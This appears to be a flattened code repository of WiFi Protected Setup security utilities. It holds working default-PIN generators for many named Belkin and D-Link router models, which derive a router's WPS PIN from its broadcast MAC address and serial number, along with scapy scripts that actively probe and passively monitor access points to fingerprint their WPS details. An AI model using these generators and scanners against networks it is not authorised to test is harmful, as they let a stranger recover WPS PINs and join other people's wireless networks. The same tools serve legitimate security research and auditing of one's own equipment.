├── README.md ├── pingens ├── belkin │ └── pingen.c └── dlink │ └── pingen.py └── wpstools ├── wpscan.py └── wpspy.py /README.md: -------------------------------------------------------------------------------- 1 | wps 2 | === 3 | 4 | Utilities related to WiFi Protected Setup security. 5 | -------------------------------------------------------------------------------- /pingens/belkin/pingen.c: -------------------------------------------------------------------------------- 1 | /* 2 | * WPS pin generator for some Belkin routers. Default pin is generated from the 3 | * BSSID and serial number. BSSIDs are not encrypted and the serial number is 4 | * included in the WPS information element contained in 802.11 probe response 5 | * packets. 6 | * 7 | * Known to work against: 8 | * 9 | * o F9K1001v4 [Broadcom, Arcadyan, SuperTask!] 10 | * o F9K1001v5 [Broadcom, Arcadyan, SuperTask!] 11 | * o F9K1002v1 [Realtek, SerComm] 12 | * o F9K1002v2 [Ralink, Arcadyan] 13 | * o F9K1002v5 [Broadcom, Arcadyan] 14 | * o F9K1103v1 [Ralink, Arcadyan, Linux] 15 | * o F9K1112v1 [Broadcom, Arcadyan, Linux] 16 | * o F9K1113v1 [Broadcom, Arcadyan, Linux] 17 | * o F9K1105v1 [Broadcom, Arcadyan, Linux] 18 | * o F6D4230-4v2 [Ralink, Arcadyan, Unknown RTOS] 19 | * o F6D4230-4v3 [Broadcom, Arcadyan, SuperTask!] 20 | * o F7D2301v1 [Ralink, Arcadyan, SuperTask!] 21 | * o F7D1301v1 [Broadcom, Arcadyan, Unknown RTOS] 22 | * o F5D7234-4v3 [Atheros, Arcadyan, Unknown RTOS] 23 | * o F5D7234-4v4 [Atheros, Arcadyan, Unknown RTOS] 24 | * o F5D7234-4v5 [Broadcom, Arcadyan, SuperTask!] 25 | * o F5D8233-4v1 [Infineon, Arcadyan, SuperTask!] 26 | * o F5D8233-4v3 [Ralink, Arcadyan, Unknown RTOS] 27 | * o F5D9231-4v1 [Ralink, Arcadyan, SuperTask!] 28 | * 29 | * Known to NOT work against: 30 | * 31 | * o F9K1001v1 [Realtek, SerComm, Unknown RTOS] 32 | * o F9K1105v2 [Realtek, SerComm, Linux] 33 | * o F6D4230-4v1 [Ralink, SerComm, Unknown RTOS] 34 | * o F5D9231-4v2 [Ralink, SerComm, Unknown RTOS] 35 | * o F5D8233-4v4 [Ralink, SerComm, Unknown RTOS] 36 | * 37 | * Build with: 38 | * 39 | * $ gcc -Wall pingen.c -o pingen 40 | * 41 | */ 42 | 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | int char2int(char c) 49 | { 50 | char buf[2] = { 0 }; 51 | 52 | buf[0] = c; 53 | return strtol(buf, NULL, 16); 54 | } 55 | 56 | int wps_checksum(int pin) 57 | { 58 | int div = 0; 59 | 60 | while(pin) 61 | { 62 | div += 3 * (pin % 10); 63 | pin /= 10; 64 | div += pin % 10; 65 | pin /= 10; 66 | } 67 | 68 | return ((10 - div % 10) % 10); 69 | } 70 | 71 | int pingen(char *mac, char *serial) 72 | { 73 | #define NIC_NIBBLE_0 0 74 | #define NIC_NIBBLE_1 1 75 | #define NIC_NIBBLE_2 2 76 | #define NIC_NIBBLE_3 3 77 | 78 | #define SN_DIGIT_0 0 79 | #define SN_DIGIT_1 1 80 | #define SN_DIGIT_2 2 81 | #define SN_DIGIT_3 3 82 | 83 | int sn[4], nic[4]; 84 | int mac_len, serial_len; 85 | int k1, k2, pin; 86 | int p1, p2, p3; 87 | int t1, t2; 88 | 89 | mac_len = strlen(mac); 90 | serial_len = strlen(serial); 91 | 92 | /* Get the four least significant digits of the serial number */ 93 | sn[SN_DIGIT_0] = char2int(serial[serial_len-1]); 94 | sn[SN_DIGIT_1] = char2int(serial[serial_len-2]); 95 | sn[SN_DIGIT_2] = char2int(serial[serial_len-3]); 96 | sn[SN_DIGIT_3] = char2int(serial[serial_len-4]); 97 | 98 | /* Get the four least significant nibbles of the MAC address */ 99 | nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]); 100 | nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]); 101 | nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]); 102 | nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]); 103 | 104 | k1 = (sn[SN_DIGIT_2] + 105 | sn[SN_DIGIT_3] + 106 | nic[NIC_NIBBLE_0] + 107 | nic[NIC_NIBBLE_1]) % 16; 108 | 109 | k2 = (sn[SN_DIGIT_0] + 110 | sn[SN_DIGIT_1] + 111 | nic[NIC_NIBBLE_3] + 112 | nic[NIC_NIBBLE_2]) % 16; 113 | 114 | pin = k1 ^ sn[SN_DIGIT_1]; 115 | 116 | t1 = k1 ^ sn[SN_DIGIT_0]; 117 | t2 = k2 ^ nic[NIC_NIBBLE_1]; 118 | 119 | p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1; 120 | p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2; 121 | p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2]; 122 | 123 | k1 = k1 ^ k2; 124 | 125 | pin = (pin ^ k1) * 16; 126 | pin = (pin + t1) * 16; 127 | pin = (pin + p1) * 16; 128 | pin = (pin + t2) * 16; 129 | pin = (pin + p2) * 16; 130 | pin = (pin + k1) * 16; 131 | pin += p3; 132 | pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1); 133 | 134 | return (pin * 10) + wps_checksum(pin); 135 | } 136 | 137 | int main(int argc, char *argv[]) 138 | { 139 | char *mac = NULL, *serial = NULL; 140 | 141 | if(argc != 3) 142 | { 143 | fprintf(stderr, "\nUsage: %s \n\n", argv[0]); 144 | fprintf(stderr, "Only the last 2 octects of the BSSID are required.\n"); 145 | fprintf(stderr, "Only the last 4 digits of the serial number are required.\n\n"); 146 | fprintf(stderr, "Example:\n\n"); 147 | fprintf(stderr, "\t$ %s 010203040506 1234GB1234567\n", argv[0]); 148 | fprintf(stderr, "\t$ %s 0506 4567\n\n", argv[0]); 149 | return EXIT_FAILURE; 150 | } 151 | 152 | mac = argv[1]; 153 | serial = argv[2]; 154 | 155 | /* 156 | * Only really need the last 2 octets of the MAC 157 | * and the last 4 digits of the serial number. 158 | */ 159 | if(strlen(mac) < 4 || strlen(serial) < 4) 160 | { 161 | fprintf(stderr, "MAC or serial number too short!\n"); 162 | return EXIT_FAILURE; 163 | } 164 | else if(strchr(mac, ':') || strchr(mac, '-')) 165 | { 166 | fprintf(stderr, "Do not include colon or hyphen delimiters in the MAC address!\n"); 167 | return EXIT_FAILURE; 168 | } 169 | 170 | printf("Default pin: %08d\n", pingen(mac, serial)); 171 | 172 | return EXIT_SUCCESS; 173 | } 174 | -------------------------------------------------------------------------------- /pingens/dlink/pingen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Calculates the default WPS pin from the BSSID/MAC of many D-Link routers/APs. 4 | # 5 | # Craig Heffner 6 | # Tactical Network Solutions 7 | 8 | class WPSException(Exception): 9 | pass 10 | 11 | class WPS(object): 12 | 13 | def checksum(self, pin): 14 | ''' 15 | Standard WPS checksum algorithm. 16 | 17 | @pin - A 7 digit pin to calculate the checksum for. 18 | 19 | Returns the checksum value. 20 | ''' 21 | accum = 0 22 | 23 | while pin: 24 | accum += (3 * (pin % 10)) 25 | pin = int(pin / 10) 26 | accum += (pin % 10) 27 | pin = int(pin / 10) 28 | 29 | return ((10 - accum % 10) % 10) 30 | 31 | class DLink(object): 32 | 33 | def __init__(self): 34 | self.wps = WPS() 35 | 36 | def __mac2nic(self, mac): 37 | ''' 38 | Parses out the NIC portion of an ASCII MAC address. 39 | 40 | @mac_address - An ASCII string MAC address or NIC, 41 | with or without delimiters. 42 | 43 | Returns the NIC portion of the MAC address as an int. 44 | ''' 45 | mac = mac.replace(':', '').replace('-', '') 46 | 47 | if len(mac) == 12: 48 | try: 49 | nic = int(mac[6:], 16) 50 | except ValueError as e: 51 | raise WPSException("Invalid NIC: [%s]" % mac[6:]) 52 | elif len(mac) == 6: 53 | try: 54 | nic = int(mac, 16) 55 | except ValueError as e: 56 | raise WPSException("Invalid NIC: [%s]" % mac) 57 | else: 58 | raise WPSException("Invalid MAC address: [%s]" % mac) 59 | 60 | return nic 61 | 62 | def generate(self, mac): 63 | ''' 64 | Calculates the default WPS pin from the NIC portion of the MAC address. 65 | 66 | @mac - The MAC address string. 67 | 68 | Returns the calculated default WPS pin, including checksum. 69 | ''' 70 | nic = self.__mac2nic(mac) 71 | 72 | # Do some XOR operations on the NIC 73 | pin = nic ^ 0x55AA55 74 | pin = pin ^ (((pin & 0x0F) << 4) + 75 | ((pin & 0x0F) << 8) + 76 | ((pin & 0x0F) << 12) + 77 | ((pin & 0x0F) << 16) + 78 | ((pin & 0x0F) << 20)) 79 | 80 | # The largest possible remainder for any value divided by 10,000,000 81 | # is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0. 82 | pin = pin % int(10e6) 83 | 84 | # If the pin is less than 1,000,000 (i.e., less than 7 digits) 85 | if pin < int(10e5): 86 | # The largest possible remainder for any value divided by 9 is 87 | # 8; hence this adds at most 9,000,000 to the pin value, and at 88 | # least 1,000,000. This guarantees that the pin will be 7 digits 89 | # long, and also means that it won't start with a 0. 90 | pin += ((pin % 9) * int(10e5)) + int(10e5); 91 | 92 | # The final 8 digit pin is the 7 digit value just computed, plus a 93 | # checksum digit. 94 | return (pin * 10) + self.wps.checksum(pin) 95 | 96 | if __name__ == '__main__': 97 | import sys 98 | 99 | try: 100 | mac = sys.argv[1] 101 | except IndexError: 102 | print ("Usage: %s " % sys.argv[0]) 103 | sys.exit(1) 104 | 105 | try: 106 | print ("Default pin: %d" % DLink().generate(mac)) 107 | except WPSException as e: 108 | print (str(e)) 109 | sys.exit(1) 110 | 111 | 112 | -------------------------------------------------------------------------------- /wpstools/wpscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from sys import argv, stderr, exit 4 | from getopt import GetoptError, getopt as GetOpt 5 | try: 6 | from scapy.all import * 7 | except Exception, e: 8 | print 'Failed to import scapy:',e 9 | exit(1) 10 | 11 | 12 | class WPSQuery(object): 13 | bssid = None 14 | essid = None 15 | pfile = None 16 | rprobe = False 17 | verbose = False 18 | probedNets = {} 19 | WPS_ID = "\x00\x50\xF2\x04" 20 | wps_attributes = { 21 | 0x104A : {'name' : 'Version ', 'type' : 'hex'}, 22 | 0x1044 : {'name' : 'WPS State ', 'type' : 'hex'}, 23 | 0x1057 : {'name' : 'AP Setup Locked ', 'type' : 'hex'}, 24 | 0x1041 : {'name' : 'Selected Registrar ', 'type' : 'hex'}, 25 | 0x1012 : {'name' : 'Device Password ID ', 'type' : 'hex'}, 26 | 0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'}, 27 | 0x103B : {'name' : 'Response Type ', 'type' : 'hex'}, 28 | 0x1047 : {'name' : 'UUID-E ', 'type' : 'hex'}, 29 | 0x1021 : {'name' : 'Manufacturer ', 'type' : 'str'}, 30 | 0x1023 : {'name' : 'Model Name ', 'type' : 'str'}, 31 | 0x1024 : {'name' : 'Model Number ', 'type' : 'str'}, 32 | 0x1042 : {'name' : 'Serial Number ', 'type' : 'str'}, 33 | 0x1054 : {'name' : 'Primary Device Type ', 'type' : 'hex'}, 34 | 0x1011 : {'name' : 'Device Name ', 'type' : 'str'}, 35 | 0x1008 : {'name' : 'Config Methods ', 'type' : 'hex'}, 36 | 0x103C : {'name' : 'RF Bands ', 'type' : 'hex'}, 37 | 0x1045 : {'name' : 'SSID ', 'type' : 'str'}, 38 | 0x102D : {'name' : 'OS Version ', 'type' : 'str'} 39 | } 40 | 41 | 42 | def __init__(self,iface,pfile): 43 | if iface: 44 | conf.iface = iface 45 | if pfile: 46 | self.pfile = pfile 47 | 48 | def run(self): 49 | if self.verbose: 50 | if self.pfile: 51 | stderr.write("Reading packets from %s\n\n" % self.pfile) 52 | else: 53 | stderr.write("Listening on interface %s\n\n" % conf.iface) 54 | 55 | try: 56 | sniff(prn=self.pcap,offline=self.pfile) 57 | except Exception, e: 58 | print 'Caught exception while running sniff():',e 59 | 60 | #Handles captured packets 61 | def pcap(self,packet): 62 | if packet.haslayer(Dot11Beacon): 63 | self.beaconh(packet) 64 | elif packet.haslayer(Dot11ProbeResp): 65 | self.responseh(packet) 66 | 67 | #Beacon packet handler 68 | def beaconh(self,pkt): 69 | elt = None 70 | eltcount = 1 71 | doprobe = False 72 | essid = None 73 | bssid = pkt[Dot11].addr3.upper() 74 | 75 | #If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it 76 | if self.bssid and self.essid: 77 | self.probereq(self.essid,self.bssid) 78 | return 79 | 80 | #If we've already probed it, processing it's beacon frames won't do us any more good 81 | if self.probedNets.has_key(bssid): 82 | return 83 | 84 | #Is this the BSSID we're looking for? 85 | if self.bssid and self.bssid != bssid: 86 | return 87 | 88 | #Loop through all information elements 89 | while elt != pkt.lastlayer(Dot11Elt): 90 | elt = pkt.getlayer(Dot11Elt, nb=eltcount) 91 | eltcount += 1 92 | 93 | #Get the SSID 94 | if elt.ID == 0: 95 | essid = elt.info 96 | #Skip if this is not the SSID we're looking for 97 | if self.essid and essid != self.essid: 98 | return 99 | 100 | #Check for a WPS information element 101 | else: 102 | doprobe = self.iswpselt(elt) 103 | if doprobe: 104 | if self.verbose: 105 | stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid)) 106 | break 107 | 108 | #Should we actively probe this AP? 109 | if doprobe == True or self.rprobe == True: 110 | self.probereq(essid,bssid) 111 | return 112 | 113 | #Probe response packet handler 114 | def responseh(self,pkt): 115 | wpsdata = [] 116 | eltcount = 1 117 | elt = None 118 | bssid = None 119 | essid = None 120 | bssid = pkt[Dot11].addr3.upper() 121 | 122 | #Is this the BSSID we're looking for? 123 | if self.bssid and self.bssid != bssid: 124 | return 125 | 126 | #Loop through all information elements 127 | while elt != pkt.lastlayer(Dot11Elt): 128 | elt = pkt.getlayer(Dot11Elt, nb=eltcount) 129 | eltcount += 1 130 | 131 | #Get the SSID 132 | if elt.ID == 0: 133 | essid = elt.info 134 | #Don't probe a network if we've already gotten a probe response for it 135 | if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid: 136 | return 137 | #Skip if this is not the SSID we're looking for 138 | if self.essid and essid != self.essid: 139 | return 140 | if self.verbose: 141 | stderr.write("Received probe response from %s (%s)\n" % (bssid,essid)) 142 | elif self.iswpselt(elt): 143 | wpsdata = self.parsewpselt(elt) 144 | 145 | #Display WPS information 146 | if wpsdata: 147 | self.printwpsinfo(wpsdata,bssid,essid) 148 | elif self.verbose: 149 | stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid)) 150 | 151 | #Mark this BSSID as complete 152 | self.probedNets[bssid] = essid 153 | 154 | return 155 | 156 | #Display collected WPS data 157 | def printwpsinfo(self,wpsdata,bssid,essid): 158 | textlen = 33 159 | filler = ' ' 160 | 161 | if wpsdata: 162 | print '' 163 | print 'BSSID:',bssid 164 | print 'ESSID:',essid 165 | print '----------------------------------------------------------' 166 | 167 | for (header,data,datatype) in wpsdata: 168 | if datatype != 'str': 169 | tdata = data 170 | data = '0x' 171 | for i in tdata: 172 | byte = str(hex(ord(i)))[2:] 173 | if len(byte) == 1: 174 | byte = '0' + byte 175 | data += byte 176 | header = header + (filler * (textlen-len(header))) 177 | print '%s : %s' % (header,data) 178 | print '' 179 | 180 | 181 | #Send a probe request to the specified AP 182 | def probereq(self,essid,bssid): 183 | if not essid or not bssid: 184 | return 185 | if self.probedNets.has_key(bssid) and self.probedNets[bssid] is not None: 186 | return 187 | if self.pfile: 188 | return 189 | 190 | if self.verbose: 191 | stderr.write("Probing network '%s (%s)'\n" % (bssid,essid)) 192 | 193 | try: 194 | #Build a probe request packet with a SSID and a WPS information element 195 | dst = mac2str(bssid) 196 | src = mac2str("ff:ff:ff:ff:ff:ff") 197 | packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq() 198 | packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID) 199 | 200 | #Send it! 201 | send(packet,verbose=0) 202 | self.probedNets[bssid] = None 203 | except Exception, e: 204 | print 'Failure sending probe request to',essid,':',e 205 | 206 | 207 | #Check if an element is a WPS element 208 | def iswpselt(self,elt): 209 | if elt.ID == 221: 210 | if elt.info.startswith(self.WPS_ID): 211 | return True 212 | return False 213 | 214 | 215 | #Parse a WPS element 216 | def parsewpselt(self,elt): 217 | data = [] 218 | tagname = None 219 | tagdata = None 220 | datatype = None 221 | tag = 0 222 | tlen = 0 223 | i = len(self.WPS_ID) 224 | 225 | try: 226 | if self.iswpselt(elt): 227 | while i < elt.len: 228 | #Get tag number and length 229 | tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1])) 230 | i += 2 231 | tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1])) 232 | i += 2 233 | 234 | #Get the tag data 235 | tagdata = elt.info[i:i+tlen] 236 | i += tlen 237 | 238 | #Lookup the tag name and type 239 | try: 240 | tagname = self.wps_attributes[tag]['name'] 241 | datatype = self.wps_attributes[tag]['type'] 242 | except Exception, e: 243 | tagname = 'Unknown' 244 | datatype = 'hex' 245 | 246 | #Append to array 247 | data.append((tagname,tagdata,datatype)) 248 | except Exception,e: 249 | print 'Exception processing WPS element:',e 250 | 251 | return data 252 | 253 | def about(): 254 | print ''' 255 | WPScan actively scans access points that support WiFi Protected Setup by sending 256 | 802.11 probe requests to them. It then examines the WPS information element in the 257 | resulting 802.11 probe response and displays the information contained in that IE. 258 | 259 | This is useful for fingerprinting WPS-capable access points, as many of them will 260 | include their vendor, model number, and firmware versions in the WPS IE of the 261 | probe response. 262 | ''' 263 | exit(0) 264 | 265 | def usage(): 266 | print ''' 267 | Usage: %s [OPTIONS] 268 | 269 | -i Specify the interface to listen on 270 | -p Specify pcap file to read from 271 | -b Specify a bssid filter 272 | -e Specify an essid filter 273 | -n Probe all networks 274 | -v Enable verbose mode 275 | -a Show about information 276 | -h Show help 277 | ''' % argv[0] 278 | exit(1) 279 | 280 | 281 | def main(): 282 | bssid = None 283 | essid = None 284 | iface = None 285 | pfile = None 286 | probeall = False 287 | verbose = False 288 | 289 | try: 290 | opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh"); 291 | except GetoptError, e: 292 | print 'Usage Error:',e 293 | usage() 294 | 295 | for opt,optarg in opts: 296 | if opt == '-b': 297 | bssid = optarg.upper() 298 | elif opt == '-e': 299 | essid = optarg 300 | elif opt == '-i': 301 | iface = optarg 302 | elif opt == '-p': 303 | pfile = optarg 304 | elif opt == '-v': 305 | verbose = True 306 | elif opt == '-n': 307 | probeall = True 308 | elif opt == '-a': 309 | about() 310 | else: 311 | usage() 312 | 313 | 314 | wps = WPSQuery(iface,pfile) 315 | wps.bssid = bssid 316 | wps.essid = essid 317 | wps.rprobe = probeall 318 | wps.verbose = verbose 319 | wps.run() 320 | 321 | 322 | if __name__ == "__main__": 323 | main() 324 | -------------------------------------------------------------------------------- /wpstools/wpspy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from sys import argv,exit 4 | from getopt import GetoptError,getopt as GetOpt 5 | from time import strftime 6 | from scapy.all import * 7 | 8 | class WPS(object): 9 | verbose = False 10 | bssid = None 11 | essid = None 12 | pfile = None 13 | 14 | #Information element tags 15 | elTags = { 16 | 'SSID' : 0, 17 | 'Vendor' : 221 18 | } 19 | #Dictionary of relevent WPS tags and values 20 | wpsTags = { 21 | 'APLocked' : {'id' : 0x1057, 'desc' : None}, 22 | 'WPSUUID-E' : {'id' : 0x1047, 'desc' : None}, 23 | 'WPSRFBands' : {'id' : 0x103C, 'desc' : None}, 24 | 'WPSRegistrar' : {'id' : 0x1041, 'desc' : None}, 25 | 'WPSState' : {'id' : 0x1044, 'desc' : { 26 | 0x01 : 'Not Configured', 27 | 0x02 : 'Configured' 28 | } 29 | }, 30 | 'WPSVersion' : {'id' : 0x104a, 'desc' : { 31 | 0x10 : '1.0', 32 | 0x11 : '1.1' 33 | } 34 | }, 35 | 'WPSRegConfig' : {'id' : 0x1053, 'desc' : { 36 | 0x0001 : 'USB', 37 | 0x0002 : 'Ethernet', 38 | 0x0004 : 'Label', 39 | 0x0008 : 'Display', 40 | 0x0010 : 'External NFC', 41 | 0x0020 : 'Internal NFC', 42 | 0x0040 : 'NFC Interface', 43 | 0x0080 : 'Push Button', 44 | 0x0100 : 'Keypad' 45 | }, 46 | 'action' : 'or' 47 | }, 48 | 'WPSPasswordID' : {'id' : 0x1012, 'desc' : { 49 | 0x0000 : 'Pin', 50 | 0x0004 : 'PushButton' 51 | } 52 | } 53 | 54 | } 55 | 56 | wpsRouters = {} 57 | wpsClients = {} 58 | 59 | def __init__(self): 60 | return None 61 | 62 | #Converts an array of bytes ('\x01\x02\x03...') to an integer value 63 | def strToInt(self,string): 64 | intval = 0 65 | shift = (len(string)-1) * 8; 66 | 67 | for byte in string: 68 | try: 69 | intval += int(ord(byte))< minSize: 86 | #Loop through the entire ELT 87 | while offset < elt.len: 88 | key = '' 89 | val = '' 90 | 91 | try: 92 | #Get the ELT type code 93 | eltType = self.strToInt(elt.info[offset:offset+typeSize]) 94 | offset += typeSize 95 | #Get the ELT data length 96 | eltLen = self.strToInt(elt.info[offset:offset+versionSize]) 97 | offset += versionSize 98 | #Pull this ELT's data out 99 | data = elt.info[offset:offset+eltLen] 100 | data = self.strToInt(data) 101 | except: 102 | return False 103 | 104 | #Check if we got a WPS-related ELT type 105 | for (key,tinfo) in self.wpsTags.iteritems(): 106 | if eltType == tinfo['id']: 107 | if tinfo.has_key('action') and tinfo['action'] == 'or': 108 | for method,name in tinfo['desc'].iteritems(): 109 | if (data | method) == data: 110 | val += name + ' | ' 111 | val = val[:-3] 112 | else: 113 | try: 114 | val = tinfo['desc'][data] 115 | except Exception, e: 116 | val = str(hex(data)) 117 | break 118 | 119 | 120 | if key and val: 121 | wpsInfo[key] = val 122 | offset += eltLen 123 | return wpsInfo 124 | 125 | #Parse captured packets looking for 802.11 WPS-related packets 126 | def parseCapturedPacket(self,packet): 127 | wpsInfo = False 128 | essid = False 129 | bssid = False 130 | 131 | #Check if the packet is a 802.11 beacon with an ELT layer 132 | if packet.haslayer(Dot11Beacon) and packet.haslayer(Dot11Elt): 133 | bssid = packet[Dot11].addr3.upper() 134 | if self.bssid and self.bssid != bssid: 135 | return 136 | pkt = packet 137 | 138 | #Loop through all of the ELT layers in the packet 139 | while Dot11Elt in pkt: 140 | pkt = pkt[Dot11Elt] 141 | 142 | #Check the ELT layer. Is it a SSID? 143 | if pkt.ID == self.elTags['SSID']: 144 | essid = pkt.info 145 | if self.essid and self.essid != essid: 146 | return 147 | 148 | #Check the ELT layer. Is it a vendor? If so, try to get the WPS info. 149 | elif pkt.ID == self.elTags['Vendor']: 150 | wpsInfo = self.getWPSInfo(pkt) 151 | 152 | #If we've gotten the SSID and WPS info, save it and exit the loop 153 | if wpsInfo and bssid: 154 | #If this is a new SSID, create an entry 155 | if not self.wpsRouters.has_key(bssid): 156 | self.wpsRouters[bssid] = {} 157 | #Only update if the information is new or we're in verbose mode... 158 | if self.wpsRouters[bssid] != wpsInfo or self.verbose: 159 | self.wpsRouters[bssid] = wpsInfo 160 | print 'BSSID:',bssid 161 | print 'ESSID:',essid 162 | print 'STAMP:',strftime("%H:%M:%S %d/%m/%Y") 163 | print '------------------------' 164 | for key,val in self.wpsRouters[bssid].iteritems(): 165 | print key,':',val 166 | print '\n' 167 | break 168 | pkt = pkt.payload 169 | 170 | def wpsListener(self): 171 | if self.verbose: 172 | if self.pfile: 173 | print "Reading from %s...\n" % self.pfile 174 | else: 175 | print "Listening on %s...\n" % conf.iface 176 | try: 177 | sniff(prn=self.parseCapturedPacket,offline=self.pfile) 178 | except Exception, e: 179 | print 'Caught exception sniffing packets:',e 180 | 181 | def about(): 182 | print ''' 183 | WPSpy listens passively to 802.11 beacon packets and examines them for WiFi Protected Setup 184 | information elements. For APs that support WPS, it prints out changes to the AP's WPS status. 185 | ''' 186 | exit(0) 187 | 188 | def usage(): 189 | print ''' 190 | Usage: %s [OPTIONS] 191 | 192 | -i Specify the interface to use 193 | -b Filter by BSSID 194 | -e Filter by ESSID 195 | -p Load pcap file 196 | -v Enable verbose mode 197 | -a Display about information 198 | -h Display help 199 | ''' % argv[0] 200 | exit(1) 201 | 202 | def main(): 203 | wps = WPS() 204 | 205 | try: 206 | opts,args = GetOpt(argv[1:],'i:b:e:p:ahv') 207 | except GetoptError, e: 208 | print 'ERROR:',e 209 | usage() 210 | 211 | for (opt,optarg) in opts: 212 | if opt == '-h': 213 | usage() 214 | elif opt == '-a': 215 | about() 216 | elif opt == '-v': 217 | wps.verbose = True 218 | elif opt == '-i': 219 | conf.iface = optarg 220 | elif opt == '-b': 221 | wps.bssid = optarg.upper() 222 | elif opt == '-e': 223 | wps.essid = optarg 224 | elif opt == '-p': 225 | wps.pfile = optarg 226 | else: 227 | usage() 228 | 229 | print '' 230 | wps.wpsListener() 231 | 232 | 233 | 234 | if __name__ == "__main__": 235 | try: 236 | main() 237 | except KeyboardInterrupt: 238 | print 'Bye!' 239 | --------------------------------------------------------------------------------